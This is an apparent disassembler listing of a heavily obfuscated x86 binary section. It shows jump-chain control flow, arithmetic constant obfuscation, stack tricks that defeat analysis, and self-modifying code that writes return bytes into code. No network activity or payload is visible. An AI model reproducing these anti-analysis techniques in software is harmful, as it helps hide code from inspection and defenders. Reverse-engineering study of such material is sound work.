; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_4415F6:				; CODE XREF: sub_43B252-3B70j
		jno	loc_443675
		shr	edx, 14h
		push	eax
		jmp	loc_44E2FC
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

loc_441605:				; CODE XREF: y22d6.y.:00440E50j
		push	edx
		sub	esi, 0FF72B67Bh
		mov	[edx], ebx
; START	OF FUNCTION CHUNK FOR sub_43F224

loc_44160E:				; CODE XREF: sub_43F224:loc_440E2Ej
		sub	eax, 0DBB75757h
		jmp	loc_441B70
; END OF FUNCTION CHUNK	FOR sub_43F224

; =============== S U B	R O U T	I N E =======================================



sub_441619	proc near		; CODE XREF: y22d6.y.:00439C34p
					; sub_43B252+D2D1j

; FUNCTION CHUNK AT 00444F1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447EAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AECC SIZE 0000000E BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	6D183F2h
		pop	edx
		add	edx, 50D83D4Ch
		jmp	loc_444F1A
sub_441619	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44162F:				; CODE XREF: sub_4432B8:loc_4380C8j
		mov	byte ptr [eax],	0C3h
		jmp	sub_44AA5D
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_441637	proc near		; CODE XREF: sub_403249+2DBp
					; .text:00409486p ...
		call	sub_441651
		jmp	ds:off_41E068
sub_441637	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E357

loc_441642:				; CODE XREF: sub_44E357+10j
		jmp	loc_441F1B
; END OF FUNCTION CHUNK	FOR sub_44E357
; ---------------------------------------------------------------------------

loc_441647:				; CODE XREF: y22d6.y.:0044DD59j
		jmp	loc_444101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_44164C:				; CODE XREF: sub_43B878+86D0j
		jmp	loc_43E753
; END OF FUNCTION CHUNK	FOR sub_43B878

; =============== S U B	R O U T	I N E =======================================



sub_441651	proc near		; CODE XREF: sub_441637p
					; sub_43D16D:loc_4438E7j ...
		call	sub_437B43

loc_441656:				; CODE XREF: sub_43FF1B+7874j
		jmp	nullsub_43
sub_441651	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FEC6

loc_44165B:				; CODE XREF: sub_43FEC6+7j
		jmp	loc_43A087
; END OF FUNCTION CHUNK	FOR sub_43FEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_441660:				; CODE XREF: sub_437B43+10j
		jmp	loc_447FAA
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_441665:				; CODE XREF: sub_444427-4776j
		xor	edi, ecx

loc_441667:				; CODE XREF: sub_444427:loc_43FCA6j
		and	esi, 52EB39DAh
		cmp	esi, 4878428Ch
		jmp	loc_441962
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_441678:				; CODE XREF: y22d6.y.:loc_43E2A8j
		or	esi, 0AEB23139h
		test	esi, 20000000h
		jmp	loc_448F1F
; ---------------------------------------------------------------------------

loc_441689:				; CODE XREF: y22d6.y.:004425A1j
		xor	ecx, ebx
; START	OF FUNCTION CHUNK FOR sub_43AD3D

loc_44168B:				; CODE XREF: sub_43AD3D+1135Bj
		or	edx, 580E6FCCh
		xor	edx, 48BBE3E9h
		add	edx, ebp
		add	edx, 0E84A73C5h
		jmp	loc_43E897
; END OF FUNCTION CHUNK	FOR sub_43AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D460

loc_4416A4:				; CODE XREF: sub_44D460:loc_43E0EEj
		xchg	ebx, [esp+0]
		jmp	loc_445259
; END OF FUNCTION CHUNK	FOR sub_44D460
; ---------------------------------------------------------------------------
		mov	ds:off_41E1A0, eax
		lea	eax, loc_449269
		mov	byte ptr [eax],	0C3h
		jmp	loc_449269

; =============== S U B	R O U T	I N E =======================================



sub_4416C0	proc near		; CODE XREF: sub_40CA0C+BEp
					; sub_40E68F+D9p ...
		call	sub_4416CB
		jmp	ds:off_41E1A4
sub_4416C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4416CB	proc near		; CODE XREF: sub_4416C0p
					; y22d6.y.:004492E4j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004380BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043954D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004397EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043A96B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043E009 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444031 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004492E9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B8D4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044E29F SIZE 0000000B BYTES

		pop	edx
		jmp	loc_43A96B
sub_4416CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4416D1:				; CODE XREF: y22d6.y.:loc_444561j
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_15
; ---------------------------------------------------------------------------

loc_4416DF:				; CODE XREF: y22d6.y.:loc_446321j
		mov	eax, [esp]
		push	edx
		call	sub_44B674
		push	0EAB49422h
		pop	eax
		jmp	loc_44AC56

; =============== S U B	R O U T	I N E =======================================



sub_4416F3	proc near		; CODE XREF: sub_4432B8+186j
					; sub_448EB6:loc_448F4Bp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004370B4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A220 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A945 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043AC79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C155 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ED98 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043FF03 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00440EB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440F47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441D27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442E39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004438EC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447534 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448D6A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044941A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044B36B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044D00E SIZE 0000001E BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	edx, 0D1A1EDBDh
		add	edx, ebp
		add	edx, 0D8B346A4h
		mov	edx, [edx]

loc_441707:				; CODE XREF: sub_43A58D:loc_43F736j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_43AC79
sub_4416F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_441710:				; CODE XREF: sub_446F34:loc_441D67j
		or	eax, 0ED8A014h
		add	eax, 31763899h
		call	sub_43CA1A
		push	edi
		push	0F91C0190h
		pop	edi
		xor	edi, 8BF4D230h
		add	edi, 8D590D08h
		jmp	loc_43E384
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BCA

loc_441739:				; CODE XREF: sub_439BCA+6j
		xchg	edi, [esp+0]
		mov	ebp, edi
		xchg	edx, [esp+0]
		mov	edi, edx
; END OF FUNCTION CHUNK	FOR sub_439BCA
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_441743:				; CODE XREF: sub_43FBC3+4j
		jmp	loc_43D374
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_441748:				; CODE XREF: sub_44BCC2-10BE4j
		add	eax, 4D9EF49h
		add	eax, ebp
		add	eax, 4D640F33h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jmp	loc_44B91A
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4373B9

loc_441760:				; CODE XREF: sub_4373B9+Bj
		xor	edi, 6C611D84h
		add	edi, 0F7295F0Fh
		or	edi, 5B56A65Bh
		rol	edi, 0Fh
		add	edi, 0AD14DB5Dh
		jmp	loc_44BD0E
; END OF FUNCTION CHUNK	FOR sub_4373B9
; ---------------------------------------------------------------------------
		jns	loc_4423FC
		jmp	loc_43C537
; ---------------------------------------------------------------------------
		jo	loc_43D617
		jmp	loc_44CDAC
; ---------------------------------------------------------------------------

loc_441796:				; CODE XREF: y22d6.y.:0043B6E8j
		add	edi, edx
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_441798:				; CODE XREF: sub_438B66:loc_43B6BCj
		and	eax, 0AC3FF4B7h
		test	eax, 1000h
		jmp	loc_4375A0
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

loc_4417A9:				; CODE XREF: y22d6.y.:0044DB9Cj
		pop	edx
		rol	edx, 1Eh
		add	edx, 1F78CEDBh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_443BC5
		jmp	loc_43EF9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_4417C2:				; CODE XREF: sub_44633F:loc_4385C1j
		lea	eax, sub_43A148
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ACFA
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_4417D0:				; CODE XREF: sub_43A148+1j
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44AEA5

loc_4417D9:				; CODE XREF: y22d6.y.:0043F580j
		jmp	loc_43AFBD
; END OF FUNCTION CHUNK	FOR sub_43A148
; ---------------------------------------------------------------------------

loc_4417DE:				; CODE XREF: y22d6.y.:0043C488j
		popf

loc_4417DF:				; CODE XREF: y22d6.y.:loc_44096Dj
		mov	eax, [esp]
		call	sub_4396B2

loc_4417E7:				; CODE XREF: y22d6.y.:loc_43AAD4j
					; y22d6.y.:00443D0Bj
		push	offset sub_44E313
		jmp	locret_43961C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4417F1:				; CODE XREF: sub_4432B8:loc_43A43Cj
		jnz	loc_437EA8
		jmp	loc_44D867
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_4417FC:				; CODE XREF: sub_43C22F+5D42j
		jnz	loc_446EA5
; END OF FUNCTION CHUNK	FOR sub_43C22F
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_441802:				; CODE XREF: sub_44057E+D7ABj
		jmp	loc_43D7BF
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CD2E

loc_441807:				; CODE XREF: sub_44CD2E+8j
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_44CD2E
; ---------------------------------------------------------------------------
		add	ebp, 0F83E56Fh
		jmp	loc_446EA4
; ---------------------------------------------------------------------------

loc_441817:				; CODE XREF: y22d6.y.:loc_44DF38j
		pop	eax
		rol	eax, 4
		add	eax, 0D93415B9h
		xchg	eax, [esp]
		jmp	loc_43B861
; ---------------------------------------------------------------------------

locret_441829:				; CODE XREF: y22d6.y.:0043FE11j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_44182A:				; CODE XREF: sub_442856+B9C9j
		jmp	loc_438118
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_44182F:				; CODE XREF: sub_43872E+B15Fj
		jmp	loc_4385A7
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_441834:				; CODE XREF: sub_44364E+B8j
					; y22d6.y.:loc_44E080j
		jmp	loc_43A344
; END OF FUNCTION CHUNK	FOR sub_44364E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
		dw 3192h
dword_44183C	dd 265DF9E8h		; DATA XREF: sub_43C3DD-2B3Er
					; sub_448EB6:loc_43BA83w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE2C

loc_441840:				; CODE XREF: sub_43EE2C+Aj
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_43EE2C
; ---------------------------------------------------------------------------
		db 2Dh,	0C9h, 3
dword_441848	dd 0F77E7166h		; DATA XREF: sub_43AC5C+A29r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_44184C:				; CODE XREF: sub_447BB2-984Cj
		jmp	loc_444887
; END OF FUNCTION CHUNK	FOR sub_447BB2
; ---------------------------------------------------------------------------
		db 25h,	96h, 84h
dword_441854	dd 377E736Ah		; DATA XREF: y22d6.y.:00446279r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_441858:				; CODE XREF: sub_44E5C7-6867j
		jmp	loc_44260F
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		db 0D3h, 0BBh, 21h
dword_441860	dd 0F8223BF3h		; DATA XREF: sub_43AD2F-3951w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_441864:				; CODE XREF: sub_448EB6-195j
		jmp	loc_43BE7C
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		db 25h,	72h, 51h
dword_44186C	dd 0			; DATA XREF: y22d6.y.:0043A0DBw
					; sub_440395:loc_445740w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_441870:				; CODE XREF: sub_44B17B-6E57j
					; sub_44B17B:loc_44A8C3j
		xor	edx, 8B970DD1h
		xor	eax, edx

loc_441878:				; CODE XREF: y22d6.y.:loc_44BFA1j
		push	offset sub_44A688
		jmp	loc_443788
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448488

loc_441882:				; CODE XREF: sub_448488:loc_44463Dj
		push	offset sub_44A0A7
		jmp	loc_438FB1
; END OF FUNCTION CHUNK	FOR sub_448488
; ---------------------------------------------------------------------------

loc_44188C:				; CODE XREF: y22d6.y.:0044DABCj
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_44A413
		push	386E3325h
		pop	eax
		and	eax, 3F2BD639h
		jmp	loc_44D625
; ---------------------------------------------------------------------------

loc_4418A7:				; CODE XREF: y22d6.y.:loc_4450F7j
					; y22d6.y.:004491A9j
		jb	loc_4456D0

; =============== S U B	R O U T	I N E =======================================



sub_4418AD	proc near		; CODE XREF: y22d6.y.:00441CC2p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 0C781AE8Eh
		xchg	eax, [esp-4+arg_0]
		jmp	loc_43AA6E
sub_4418AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4418BF:				; CODE XREF: y22d6.y.:00449C53j
		jle	loc_446FC6

; =============== S U B	R O U T	I N E =======================================



sub_4418C5	proc near		; CODE XREF: sub_4432B8:loc_437EA8p

; FUNCTION CHUNK AT 00437389 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439B79 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043E9C7 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004471B9 SIZE 0000000C BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	85430E58h
		pop	eax
		jmp	loc_437389
sub_4418C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	esi, ebp
		jmp	loc_44C48B
; ---------------------------------------------------------------------------
		pop	ecx
		popf
		jmp	sub_44C8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_4418E2:				; CODE XREF: sub_442C0C:loc_4374AEj
		xor	eax, 7161A96Bh
		add	eax, 1F653D2Bh
		rol	eax, 8

loc_4418F1:				; CODE XREF: sub_441AE7-4170j
		xor	eax, 213D4451h
		rol	eax, 0Bh
		push	offset loc_4453F2
		jmp	loc_43DA58
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
		jo	loc_445121
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_44190B	proc near		; CODE XREF: y22d6.y.:00438E16p

; FUNCTION CHUNK AT 00441A55 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00449302 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E3B6 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		jmp	loc_441A55
sub_44190B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB7

loc_441915:				; CODE XREF: sub_44CDB7+1j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_44AADE
; END OF FUNCTION CHUNK	FOR sub_44CDB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_441925:				; CODE XREF: sub_4385ED+1D6Dj
		jnz	loc_44BA37
		jmp	loc_44DA43
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_441930:				; CODE XREF: sub_43B0EE+3683j
		rol	eax, 15h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43B0EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_441935:				; CODE XREF: sub_43BEF7-1FA2j
		jmp	loc_439247
; END OF FUNCTION CHUNK	FOR sub_43BEF7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44193A	proc near		; CODE XREF: sub_440D6B:loc_4375C7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437263 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00439232 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ACF9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B291 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F11D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F12F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441325 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004421E7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00447F14 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A8DB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044BCB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C555 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C8F8 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_43ACF9
sub_44193A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_441944:				; CODE XREF: y22d6.y.:00440223j
		jmp	loc_43E085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_441949:				; CODE XREF: sub_437FD8+B5Cj
		jmp	loc_43E30E
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
		dw 1A81h
dword_441950	dd 0			; DATA XREF: y22d6.y.:loc_444179w
					; sub_444183:loc_444187r ...
dword_441954	dd 77E79F93h		; DATA XREF: sub_4392B0+Ar
					; sub_4392B0+5482w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_441958:				; CODE XREF: sub_43D20E+C76Cj
		jmp	loc_439D4F
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C128

loc_44195D:				; CODE XREF: sub_43C128+A337j
		jmp	sub_44C758
; END OF FUNCTION CHUNK	FOR sub_43C128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_441962:				; CODE XREF: sub_444427-2DB4j
		jmp	loc_43CF33
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
		db 0D7h
dword_441968	dd 0			; DATA XREF: sub_443EA2-C67Bw
					; sub_443EA2-C52Dr ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_44196C:				; CODE XREF: sub_43923C+8C45j
		jmp	loc_43C798
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
		db 95h,	0B2h, 62h
dword_441974	dd 77E805D8h		; DATA XREF: sub_43B01D:loc_43B026w
					; sub_4436DB:loc_43B4F2r ...
; ---------------------------------------------------------------------------

loc_441978:				; CODE XREF: y22d6.y.:00445F93j
		jmp	loc_446DCE
; ---------------------------------------------------------------------------
		db 3Bh,	58h, 17h
dword_441980	dd 3628EFCEh		; DATA XREF: sub_44193A-2817w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440A88

loc_441984:				; CODE XREF: sub_440A88+70ECj
		jmp	nullsub_341
; END OF FUNCTION CHUNK	FOR sub_440A88
; ---------------------------------------------------------------------------
		db 0B0h, 0D0h, 0DDh
dword_44198C	dd 38DCCBBFh		; DATA XREF: sub_4387EA+4r
					; y22d6.y.:00447B0Bw
dword_441990	dd 0D34EFCC2h		; DATA XREF: sub_448C77-6E6Cr
					; sub_448EB6+169r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF58

loc_441994:				; CODE XREF: sub_44DF58+16j
		jmp	nullsub_264
; END OF FUNCTION CHUNK	FOR sub_44DF58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_441999:				; CODE XREF: sub_44AEDA-67DFj
		jmp	loc_43DBFE
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
		mov	eax, 0DD1C4F2h
		push	ecx
		push	0DD3D9961h
		pop	ecx
		add	ecx, 35D5B08Ah
		and	ecx, 11D685Ch
		sub	ecx, 31A2C87Fh
		jmp	loc_448BE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4419C1:				; CODE XREF: sub_4432B8-BAEDj
		jz	loc_43B224
		jmp	loc_4484C1
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_4419CC	proc near		; CODE XREF: sub_439ACA+10j
					; sub_43EF8Bp ...

; FUNCTION CHUNK AT 00439ADF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FD2C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00444200 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444F7D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044C8A3 SIZE 00000005 BYTES

		pop	edx
		jnz	loc_439ADF
		call	sub_44469C

loc_4419D8:				; CODE XREF: y22d6.y.:004463E8j
		sub	esi, ebp

loc_4419DA:				; CODE XREF: sub_4463CE:loc_4463DAj
		and	eax, 39C89894h
		add	eax, 0F6FB81EAh
		xchg	eax, [esp+0]
		jmp	loc_444200
sub_4419CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 524E554Eh
		call	sub_43CA1A
		jmp	loc_444FA4
; ---------------------------------------------------------------------------

locret_4419FD:				; CODE XREF: y22d6.y.:0044070Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4419FE:				; CODE XREF: sub_4432B8-3F8j
		jmp	loc_444D67
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		jns	loc_437CC9
		jmp	sub_44949C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44051D

loc_441A0E:				; CODE XREF: sub_44051D:loc_44A2D7j
		mov	byte ptr [eax],	0C3h
		jmp	sub_439F2D
; END OF FUNCTION CHUNK	FOR sub_44051D

; =============== S U B	R O U T	I N E =======================================



sub_441A16	proc near		; CODE XREF: sub_414C6F+10Fp
					; sub_414C6F+126p ...
		call	sub_441A2B
		jmp	ds:off_41E12C
sub_441A16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_441A21:				; CODE XREF: sub_448EB6+BCj
		jmp	sub_44C758
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_441A26:				; CODE XREF: y22d6.y.:00437F57j
		jmp	loc_449C29

; =============== S U B	R O U T	I N E =======================================



sub_441A2B	proc near		; CODE XREF: sub_44A3E9-CF46j
					; sub_44304E:loc_43EDF1j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437117 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437E31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D4A8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004410B7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00444597 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444D17 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044B57F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D751 SIZE 00000011 BYTES

		jnz	loc_43D4A8
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_4410B7
sub_441A2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_441A3A:				; CODE XREF: sub_4475B3+9j
		mov	edx, ebx
		shl	ebx, 15h
		jmp	loc_44D834
; END OF FUNCTION CHUNK	FOR sub_4475B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446425

loc_441A45:				; CODE XREF: sub_446425+11j
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_446425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_441A4A:				; CODE XREF: sub_43E5C2-3B5Fj
		jmp	loc_4445F7
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_441A50:				; CODE XREF: sub_444427+A159j
		jmp	sub_43887A
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44190B

loc_441A55:				; CODE XREF: sub_44190B+5j
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	77EB5FF0h
		pop	edx
		sub	edx, 6B4C4649h
		add	edx, 0F3A4A760h
		jmp	loc_449302
; END OF FUNCTION CHUNK	FOR sub_44190B
; ---------------------------------------------------------------------------

loc_441A71:				; DATA XREF: y22d6.y.:00438610o
		call	sub_444581
		mov	ds:off_41E1FC, eax
		lea	eax, loc_43B157
		mov	byte ptr [eax],	0C3h
		jmp	loc_449A38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_441A8A:				; CODE XREF: sub_4428C2:loc_43B157j
		call	sub_43AD64

loc_441A8F:				; CODE XREF: sub_446236+6075j
		jmp	loc_437E91
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_441A94:				; CODE XREF: sub_43B7B5+532Fj
		jmp	loc_4462A7
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_441A99:				; CODE XREF: sub_43EC1C+11j
		jmp	loc_44815C
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------

loc_441A9E:				; CODE XREF: y22d6.y.:0043B3C6j
		jge	loc_44B92B
		xchg	ebx, ecx
		cmp	edx, esi
		jmp	loc_449755
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_369. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	edx
		jmp	sub_442E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_441AB4:				; CODE XREF: sub_448EB6:loc_43D006j
					; sub_448EB6-3241j
		push	5396FB70h
		pop	eax
		and	eax, 3DE6007Bh
		test	eax, 2000h
		jmp	loc_4389D8
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_441ACB:				; DATA XREF: sub_438880:loc_445D09o
		add	eax, edx

